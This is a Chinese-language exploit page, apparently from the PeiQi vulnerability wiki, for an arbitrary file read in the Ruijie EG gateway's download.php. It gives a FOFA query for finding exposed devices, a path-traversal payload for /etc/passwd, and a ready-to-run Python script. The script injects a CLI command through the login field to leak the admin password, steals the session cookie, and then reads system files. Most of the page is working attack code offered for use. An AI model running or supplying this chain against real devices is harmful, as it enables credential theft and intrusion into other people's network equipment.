銳捷EG易網關 download.php 後台任意文件讀取漏洞

FOFA

app="Ruijie-EG易网关"

Payload

/download.php?a=read_txt&file=../../../../etc/passwd

POC

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: 锐捷EG网关 cli.php RCE                                      \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/login.php"
    headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'username=admin&password=admin?show+webmaster+user'
    try:
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
        print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
        if "data" in response.text and response.status_code == 200:
            password = re.findall(r'admin (.*?)"', response.text)[0]
            print("\033[36m[o] 成功获取, 账号密码为:  admin   {} \033[0m".format(password))
            POC_2(target_url, password)
    except Exception as e:
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)

def POC_2(target_url, password):
    vuln_url = target_url + "/login.php"
    headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'username=admin&password={}'.format(password)
    try:
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
        print("\033[36m[o] 正在登录..... \033[0m".format(target_url))
        if "status" in response.text and "1" in response.text and response.status_code == 200:
            ruijie_cookie = "RUIJIEID=" + re.findall(r"'Set-Cookie': 'RUIJIEID=(.*?);", str(response.headers))[0] + ";user=admin;"
            print("\033[36m[o] 成功获取管理员Cookie: {} \033[0m".format(ruijie_cookie))
            POC_3(target_url, ruijie_cookie)

    except Exception as e:
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)

def POC_3(target_url, ruijie_cookie):
    vuln_url = target_url + "/download.php?a=read_txt&file=../../../../etc/passwd"
    headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded",
                "Cookie": "{}".format(ruijie_cookie)
    }
    try:
        response = requests.post(url=vuln_url, headers=headers, verify=False, timeout=10)
        print("\033[36m[o] 正在读取 /etc/passwd..... \033[0m".format(target_url))
        if "root:" in response.text and response.status_code == 200:
            print("\033[36m[o] 成功读取 /etc/passwd \n[o] 响应为:{} \033[0m".format(response.text))

    except Exception as e:
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    POC_1(target_url)

參考

http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html